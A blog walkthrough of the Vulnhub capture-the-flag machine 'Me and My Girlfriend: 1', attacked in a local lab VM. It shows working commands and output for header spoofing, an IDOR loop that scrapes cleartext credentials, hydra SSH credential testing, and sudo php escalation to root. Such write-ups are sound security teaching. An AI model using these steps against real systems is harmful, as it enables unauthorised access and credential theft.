Walkthrough: Vulnhub - Me and My Girlfriend

· by Christoph Stoettner · Read in about 8 min · (1609 words)

In my spare time I like doing CTF (Capture the flag) or solving machines posted at Vulnhub. This time I started Christmas vacation with Me and My Girlfriend: 1.

Extracting and importing into Vmware Workstation was straight forward, after the start we need to find the ip address of the vulnerable machine.

Find IP addresses in your network

One way is to use netdiscover, but then you need to enable promiscious mode for the physical network adapter. So I often use nmap.

nmap -sn 192.168.152.0/24 (1) (2)
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-21 04:24 EST
Nmap scan report for 192.168.152.1  (3)
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.152.2  (4)
Host is up (0.000065s latency).
MAC Address: 00:50:56:FD:D7:08 (VMware)
Nmap scan report for 192.168.152.131 (5)
Host is up (0.00027s latency).
MAC Address: 00:0C:29:83:80:17 (VMware)
Nmap scan report for 192.168.152.254
Host is up (0.00012s latency).
MAC Address: 00:50:56:FD:D3:38 (VMware)
Nmap scan report for 192.168.152.130  (6)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.80 seconds
1-sn means without port scan
2IP Range of the network adapter used for the virtual machine (in my case NAT)
3DHCP Server
4Host
5Target
6Kali Machine (check with ip a)

Port Scan

nmap -A 192.168.152.131

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-21 04:34 EST
Nmap scan report for 192.168.152.131
Host is up (0.00069s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
|   2048 3b:26:4d:e4:a0:3b:f8:75:d9:6e:15:55:82:8c:71:97 (RSA)
|   256 8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b0 (ECDSA)
|_  256 d0:c3:02:a1:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:83:80:17 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.69 ms 192.168.152.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.45 seconds

So port 22 and 80 are open and we will start testing with 80.

First curl

curl 192.168.152.131
Who are you? Hacker? Sorry This Site Can Only Be Accessed local!
<!-- Maybe you can search how to use x-forwarded-for -->

Ok, so try with a x-forwarded-for header.

curl -L -H 'X-Forwarded-For: 127.0.0.1' 192.168.152.131

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Ceban Corp</title>
    <style>
        .center {
            text-align: center;
        }
    </style>
</head>
<body>

    <div class="center">
        <h2>Welcome To Ceban Corp</h2>
        <p>Inspiring The People To Great Again!</p>
        <hr>
                <p><a href="?page=index">Home</a> | <a href="?page=login">Login</a> | <a href="?page=register">Register</a> | <a href="?page=about">About</a></p>
                <hr>
    </div>


</body>
</html>

Perfect, so when we inject the header, we get a valid page with more links. So let’s try with a browser and OWASP ZAP.

Browser and Intercept Proxy

We could use Burpsuite too, but I like to get more used to ZAP, so I added it to my Kali machine.

apt install zaproxy

After starting ZAP, I started Firefox through Manual Explore and Launch Browser.

The advantage of starting the browser from ZAP is that the SSL Key and Proxy is already configured within the browser.

zap firefox

ZAP can help us and inject the X-Forwarded-For Header to each request. Just hit Ctrl+R or Tools  Replacer Options and add a ZAP Replacer Rule:

zap replacer rule

So now each request which is routed through ZAP gets the additional header.

me first

I clicked through all available pages, ran dirb and tried some sqli but nothing really useful appeared. So I registered a user account.

Logon with the registered user was successful. Let’s examine the new pages, one is profile:

The Profile shows our name, username and password. The used URL is: http://192.168.152.131/index.php?page=profile&user_id=1284

I tried changing the user_id value, if I can get other users information and got access to user 1, with Firefox developer tools check the password field:

me password value

So the password is shown in cleartext ;)

To find some valid users and passwords I switched back to curl. In ZAP you can add a script which copies the request as cUrl command.

Add "Copy curl command"

zap curlscript
Figure 1. Add scripts tab
zap curlscript extender
Figure 2. Add extender script
zap curlscript extender2
Figure 3. Use curl template

Now we can right click a request in the sidebar, or history.

zap curlscript use

and get a complete curl command in the script console:

curl -i -s -k -X  'GET'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' \
 -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'\
 -H 'Accept-Language: en-US,en;q=0.5'  -H 'Connection: keep-alive' \
 -H 'Cookie: PHPSESSID=5e8s95uj1bc7te78a1peco7205' \
 -H 'Upgrade-Insecure-Requests: 1'  -H 'X-Forwarded-For: 127.0.0.1'  \
'http://192.168.152.131/index.php?page=profile&user_id=1'

So let’s do a loop through 1 to 20 and grep the username and password lines:

for ((i=1;i<20;i++)) ; do
curl -i -s -k -X  'GET'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' \
 -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'\
 -H 'Accept-Language: en-US,en;q=0.5'  -H 'Connection: keep-alive' \
 -H 'Cookie: PHPSESSID=5e8s95uj1bc7te78a1peco7205' \
 -H 'Upgrade-Insecure-Requests: 1'  -H 'X-Forwarded-For: 127.0.0.1'  \
"http://192.168.152.131/index.php?page=profile&user_id=$i" \ (1)
 | grep 'username\|password' (2)
done
1Replace the single quotes with double quotes, change 1 to $i
2Grep all lines with username or password
Result
<label for="username">Username</label>
<input type="text" name="username" id="username" value="eweuhtandingan"><br>
<label for="password">Password</label>
<input type="password" name="password" id="password" value="password"><br>
<label for="username">Username</label>
<input type="text" name="username" id="username" value="aingmaung"><br>
<label for="password">Password</label>
<input type="password" name="password" id="password" value="password"><br>

Not bad, but let’s filter little bit more.

for ((i=1;i<20;i++)) ; do
curl -i -s -k -X  'GET'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' \
 -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'\
 -H 'Accept-Language: en-US,en;q=0.5'  -H 'Connection: keep-alive' \
 -H 'Cookie: PHPSESSID=5e8s95uj1bc7te78a1peco7205' \
 -H 'Upgrade-Insecure-Requests: 1'  -H 'X-Forwarded-For: 127.0.0.1'  \
 "http://192.168.152.131/index.php?page=profile&user_id=$i" \
 | grep 'username\|password'
done \
 | grep -v \"\" \ (1)
 | grep -v label \ (2)
 | awk -F\" '{print $8}' (3)
1Remove all line with empty value value=""
2Remove all results with label
3Awk with delimiter " print Column 8

Now we have a list with usernames and passwords. Odd lines have usernames, even lines the password. Put this together with another awk and pipe into a file

for ((i=1;i<20;i++)) ; do
curl -i -s -k -X  'GET'  \
 -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' \
 -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'\
 -H 'Accept-Language: en-US,en;q=0.5'  -H 'Connection: keep-alive' \
 -H 'Cookie: PHPSESSID=5e8s95uj1bc7te78a1peco7205' \
 -H 'Upgrade-Insecure-Requests: 1'  -H 'X-Forwarded-For: 127.0.0.1'  \
 "http://192.168.152.131/index.php?page=profile&user_id=$i" \ (1)
 | grep 'username\|password'
done \
 | grep -v \"\" \
 | grep -v label \
 | awk -F\" '{print $8}' \
 | awk '{printf (NR%2==0) ? ":" $0 "\n" : $0}' \ (1)
 | uniq \
 > usernames.txt
1result is a : seperated list username:password

awk '{printf (NR%2==0) ? ":" $0 "\n" : $0}'

This is awk with if/else. So when the line number can be devided without rest, it prints the ":" + the line and line end \n, if not it just prints the line.

So we have a file with username and password combination and can faster test the logins.

An other option could be to pipe all passwords to a file and all users to another file.

Test SSH Login

It’s a short list of users and passwords, but we want to automate and learn, or?

So using hydra to test the ssh login.

hydra -C usernames.txt -u 192.168.152.131 ssh

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-12-21 05:46:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries, ~1 try per task
[DATA] attacking ssh://192.168.152.131:22/
[22][ssh] host: 192.168.152.131   login: alice   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-12-21 05:46:55

Perfect, so we have a login.

Login as alice

So we login as alice and look around a little bit.

ssh alice@192.168.152.131

ls -al
ls -al .my_notes
cat .my_notes/flag1.txt

Get root

Check if alice is allowed to run sudo
sudo -l

User alice may run the following commands on gfriEND:
    (root) NOPASSWD: /usr/bin/php

So alice is allowed to run php without a password through sudo. So we can use system() or shell_exec in a php script.

test.php
<?php system("ls -al /root") ?>

Run with sudo php test.php

alice@gfriEND:~$ sudo php test.php
total 32
drwx------  3 root root 4096 Dec 13 14:49 .
drwxr-xr-x 22 root root 4096 Dec 13 10:21 ..
-rw-------  1 root root    0 Dec 13 14:49 .bash_history
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
drwx------  2 root root 4096 Dec 13 14:14 .cache
-rw-r--r--  1 root root 1000 Dec 13 13:13 flag2.txt
-rw-------  1 root root  238 Dec 13 13:44 .mysql_history
-rw-------  1 root root   81 Dec 13 14:42 .nano_history
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
test2.php
<?php system("cat /root/flag2.txt") ?>

Try it sudo php test2.php, this will give you the second flag.

  ________        __    ___________.__             ___________.__                ._.
 /  _____/  _____/  |_  \__    ___/|  |__   ____   \_   _____/|  | _____     ____| |
/   \  ___ /  _ \   __\   |    |   |  |  \_/ __ \   |    __)  |  | \__  \   / ___\ |
\    \_\  (  <_> )  |     |    |   |   Y  \  ___/   |     \   |  |__/ __ \_/ /_/  >|
 \______  /\____/|__|     |____|   |___|  /\___  >  \___  /   |____(____  /\___  /__
        \/                              \/     \/       \/              \//_____/ \/